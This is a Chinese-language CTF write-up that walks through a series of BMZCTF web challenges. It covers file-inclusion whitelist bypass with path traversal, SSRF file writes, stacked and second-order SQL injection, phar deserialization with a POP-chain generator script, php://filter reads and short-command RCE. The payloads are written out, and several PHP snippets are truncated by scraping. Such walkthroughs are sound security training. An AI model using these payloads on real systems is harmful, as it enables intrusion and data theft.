BMZCTF-Web WriteUp

Web 题

hctf_2018_warmup

BMZCTF-Web WriteUp_第1张图片
打开后是一张图片。
BMZCTF-Web WriteUp_第2张图片
查看源码发现source.php
BMZCTF-Web WriteUp_第3张图片
访问,得到一串代码:


    highlight_file(__FILE__);
    class emmm
    {
     
        public static function checkFile(&$page)
        {
     
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
     
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
     
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

对其进行分析:


    highlight_file(__FILE__);
    class emmm
    {
     
        public static function checkFile(&$page)
        {
     
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];#白名单
            if (! isset($page) || !is_string($page)) {
       
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
        #如果在白名单中,则返回true
                return true;
            }

            $_page = mb_substr(    #取?之前的内容赋给$_page
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) { #看$_page是否在白名单中
                return true;
            }

            $_page = urldecode($page);  #进行url编码
            $_page = mb_substr(    #取?之前的内容赋给$_page
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

其中进行了两次的白名单检测和一次Url编码。先传入字符串source,hint进行测试。
传入source,发现源码重复出现,说明存在文件读取漏洞,
传入hint,发现一个字符串,flag not here, and flag in /flaaagg,提示flag在/flaaagg中,可/flaaagg不在白名单中。
需要对白名单进行绕过。
必须传入的字符串有:hintsource,和/flaaagg,先传入file=/flaaagg,发现不能读取,
联想到过滤中的问号,构建传参hint?/flaaagg,传入file=hint?/flaaagg,发现无回显。可能是文件不存在,所以无回显。
使用../进行跨目录,file=hint?../../../../../flaaagg,可以得到flag。
原理:
?前的内容将被白名单过滤,hint?..被当作一个目录,未被当成文件处理。

ssrfme

打开网页即可看到源码:
BMZCTF-Web WriteUp_第4张图片
分析源码:
传入path的内容不能含有”…”,传入file的内容必须以’http://127.0.0.1/'开头。
尝试传入file=http://127.0.0.1/&path=shell.php
BMZCTF-Web WriteUp_第5张图片

回显成功写入文件。访问下,看看里面有什么。
BMZCTF-Web WriteUp_第6张图片

看到,把index.php的内容写了过来。说明可以文件写入,尝试写入phpinfo:
file=http://127.0.0.1/&path=shell.php
BMZCTF-Web WriteUp_第7张图片

返回为空。说明没有这个文件。只能将要写入的内容放在Path参数里,可path还要传文件名。有点矛盾。
先试下:
file=http://127.0.0.1/?path=&path=shell.php
BMZCTF-Web WriteUp_第8张图片

说明在127.0.0.1后面有?必须有file参数。继续构建
file=http://127.0.0.1/ &path=&path=shell.php
BMZCTF-Web WriteUp_第9张图片

虽然写入成功,但中间的phpinfo没有写入。继续构建
file=http://127.0.0.1/%26path=&path=shell.php
BMZCTF-Web WriteUp_第10张图片

说明%26path=这个文件不存在(phpinfo被当成文件名解析),继续构建:
file=http://127.0.0.1/?file=http://127.0.0.1/%26path=&path=shell.php
BMZCTF-Web WriteUp_第11张图片

成功写入phpinfo。(第一个file传入的是file=http://127.0.0.1/index.php,第二个file传入的是phpinfo。第二个file被当做参数传入到第一个file里。)
写入一句话:
file=http://127.0.0.1/index.php?file=http://127.0.0.1/%26path=&path=shell.php
BMZCTF-Web WriteUp_第12张图片

cmd传入system(‘cat /flag’);就可以得到flag

强网杯 2019 随便注

打开网页,是一个输入框:
在这里插入图片描述

输入1,并提交:
BMZCTF-Web WriteUp_第13张图片

看到返回数组,测试是否存在注入点:输入1‘
在这里插入图片描述

返回报错。
输入1‘ #
BMZCTF-Web WriteUp_第14张图片

返回正常
尝试手工注入:
1、输入1‘ order by *,测试能返回几列,多次尝试,*处为2,即:1’ order by 2能返回正常。
BMZCTF-Web WriteUp_第15张图片

再试着输入select测试返回点:1’ union select 1,2 #
BMZCTF-Web WriteUp_第16张图片

看到好多字符被过滤。尝试sqlmap 只能爆出库名为supersqli
尝试堆叠注入
输入:1’; show databases; #
BMZCTF-Web WriteUp_第17张图片

看到了返回的库名
再看看表名有哪些:1’;show tables; #
BMZCTF-Web WriteUp_第18张图片

看到有两张表:分别为flagg和words
分别看看都有哪些列:1’;show columns from flagg #
BMZCTF-Web WriteUp_第19张图片

看到了我们想要flag列。下面就是想如何读取里面的内容了。
Select 被过滤,无法正常查询。只能拼接查询语句:
-1’;use supersqli;set @sql=concat(‘s’,'elect flag from flagg');PREPARE BMZ FROM @sql;EXECUTE BMZ;#
BMZCTF-Web WriteUp_第20张图片

得到flag。

hitcon_2017_ssrfme

打开网页后是一段代码:
BMZCTF-Web WriteUp_第21张图片

看到escapeshellarg,就想到了命令执行漏洞。当escapeshellarg在参数位时,过滤将不起作用。而在倒数第二行file_put_contents中,escapeshellarg被放到了参数位。因此,可以命令执行。
最上面的代码是创建一个沙盒。并在下面创建文件夹。文件夹名是orange加上访问者的ip地址的md5值。Ip地址通过ip138查询即可。

我们先输入:?url=…/&filename=123
再访问sandbox/8411192b0e571e9d15a9b3a080de90d0/123。可以看到返回了…/的目录结构:
BMZCTF-Web WriteUp_第22张图片

于是输入:?url=/&filename=123。让其回显根目录结构:
BMZCTF-Web WriteUp_第23张图片

我们看到了flag文件。是我们想要访问的。
继续输入:?url=/flag&filename=123
BMZCTF-Web WriteUp_第24张图片

得到了一个图片,不知道是什么东西,用curl访问一下:
在这里插入图片描述

得到了flag

n1ctf/hard_php

打开页面,是一个登录框,带有验证码。
BMZCTF-Web WriteUp_第25张图片

进行目录扫描:
BMZCTF-Web WriteUp_第26张图片

发现index.php~,进行访问:
BMZCTF-Web WriteUp_第27张图片

可以看到源码
Action参数可以访问文件,试用…/…/…/…/etc/passwd看能不能穿越目录访问:
BMZCTF-Web WriteUp_第28张图片

看到可以访问,再试试…/…/…/…/flag
在这里插入图片描述

得到了flag

hctf_cake_php

打开网页后,是一个登录框,下面有注册,先随便注册一个账号并登录,发现是一个网盘
在这里插入图片描述
尝试上传文件,发现对后缀进行了过滤。
在这里插入图片描述
点击下载并抓包:
修改文件名为’/var/www/html/index.php’
发现可以下载文件。先下载index.php,查看源码。









网盘管理


    
    
    
    
    
    



    

Name(); $a->Size(); ?>

在源码中还看到了login.php和class.php分别下载,并查看源码:
Login.php:






  
  
  
  登录

  
  


  
  
  



  
  
toast('注册成功', 'info');"; } if (isset($_POST["username"]) && isset($_POST["password"])) { $u = new User(); $username = (string) $_POST["username"]; $password = (string) $_POST["password"]; if (strlen($username) < 20 && $u->verify_user($username, $password)) { $_SESSION['login'] = true; $_SESSION['username'] = htmlentities($username); $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/"; if (!is_dir($sandbox)) { mkdir($sandbox); } $_SESSION['sandbox'] = $sandbox; echo(""); die(); } echo ""; } ?>

Class.php

db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '
'; $table .= ''; foreach ($this->funcs as $func) { $table .= ''; } $table .= ''; $table .= ''; foreach ($this->results as $filename => $result) { $table .= ''; foreach ($result as $func => $value) { $table .= ''; } $table .= ''; $table .= ''; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>

再下载首页可看到的download.php 和 delete.php,并查看源码:
Download.php:

open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

Delete.php

open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

在download.php中,过滤了flag,不能直接查看。并且指定了目录为/etc/tmp
在delete.php中,指定了目录为沙盒的根目录,
在class.php中,close方法会包含文件。
在download.php调用了close方法,却过滤了flag,不好读取。暂时不用。
Class.php中Filelist类有两个魔法函数:function __call和function __destruct()。
function __call会遍历files数据,并执行func()。结果会通过__destruct()方法打印出来。
User类中存在close方法,并且该方法在对象销毁时执行。
因此,如果能创建一个user的对象,其db变量是一个FileList对象,对象中的文件名为flag的位置。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法,进而变成了执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来。
使用phar进行反序列化

filename = '/flag';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); 
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

修改后缀为jpg,再将文件上传,并在删除时抓包,然后修改文件名后执行,就可以得到flag:
BMZCTF-Web WriteUp_第29张图片

SCTF 2018_Simple PHP

打开网页后,是一个登录框
BMZCTF-Web WriteUp_第30张图片

目录扫描也没有什么结果,使用sqlmpay也没结果,爆破admin也没结果,最后试了试php伪协议,可以文件,使用filter的base64读取/flag文件:
在这里插入图片描述

Base64解密后就得到flag

在这里插入图片描述

2018_网鼎杯_Comment

打开网页,发现为一个留言版。
BMZCTF-Web WriteUp_第31张图片
尝试发贴,需要登录:
BMZCTF-Web WriteUp_第32张图片
根据提示,爆破密码:
BMZCTF-Web WriteUp_第33张图片
***的位置为666
尝试xss,无果:

BMZCTF-Web WriteUp_第34张图片
会进行过滤,简单试试绕过无果。
尝试二次注入。
在发贴的title位置无果
BMZCTF-Web WriteUp_第35张图片
BMZCTF-Web WriteUp_第36张图片
尝试category位置:
BMZCTF-Web WriteUp_第37张图片
在留言位置回复*/#没有回显。
尝试content位置:
BMZCTF-Web WriteUp_第38张图片
BMZCTF-Web WriteUp_第39张图片
所以category可能存在注入
再次进行尝试。
BMZCTF-Web WriteUp_第40张图片
在留言处输入456*/#
BMZCTF-Web WriteUp_第41张图片
可以看到回显是123,而不是刚输入的值。可以有回显。试着读取数据库:
BMZCTF-Web WriteUp_第42张图片
在留言处输入:*/#
BMZCTF-Web WriteUp_第43张图片
可以看到返回了数据库为ctf,可以执行sql语句。
试着读取文件
BMZCTF-Web WriteUp_第44张图片
在留言处输入:*/#
BMZCTF-Web WriteUp_第45张图片
就可以看到flag了

rcee

打开网页,可以看到源码
BMZCTF-Web WriteUp_第46张图片
存在命令执行,但要求长度小于8。
首先寻找flag。先在根目录下寻找:输入?command=ls /

BMZCTF-Web WriteUp_第47张图片
可以看到flag就在根目录下。
进行访问:

BMZCTF-Web WriteUp_第48张图片
没有回显。因为空格被处理成%20,当成3个字符,要执行的命令长度超过8了。
使用*代替,输入:?command=cat /f*
在这里插入图片描述
可以看到,把f开关的所有文件内容都显示了出来。也可以看到flag

sqli_double

打开页面即可看到源码:
BMZCTF-Web WriteUp_第49张图片
有两个页面,一个是修改密码的(需要知道用户名和邮箱),一个是登录页面。
因为我们不知道用户名和邮箱,先试试登录页面:
BMZCTF-Web WriteUp_第50张图片
回显提示登录失败,我们不知是密码还是用户名错了,尝试使用sqlmap进行爆破:
在这里插入图片描述
BMZCTF-Web WriteUp_第51张图片
可以看到已经试出了数据库类型为mysql
爆库:
BMZCTF-Web WriteUp_第52张图片
爆表:
在这里插入图片描述
爆内容:
在这里插入图片描述
现在我们知道了用户名和邮箱,就可以修改密码了。修改密码后登录,即可看到flag:
在这里插入图片描述

你可能感兴趣的:(BMZCTF-WEB,安全,经验分享)

' . htmlentities($func) . 'Opt
' . htmlentities($value) . '下载 / 删除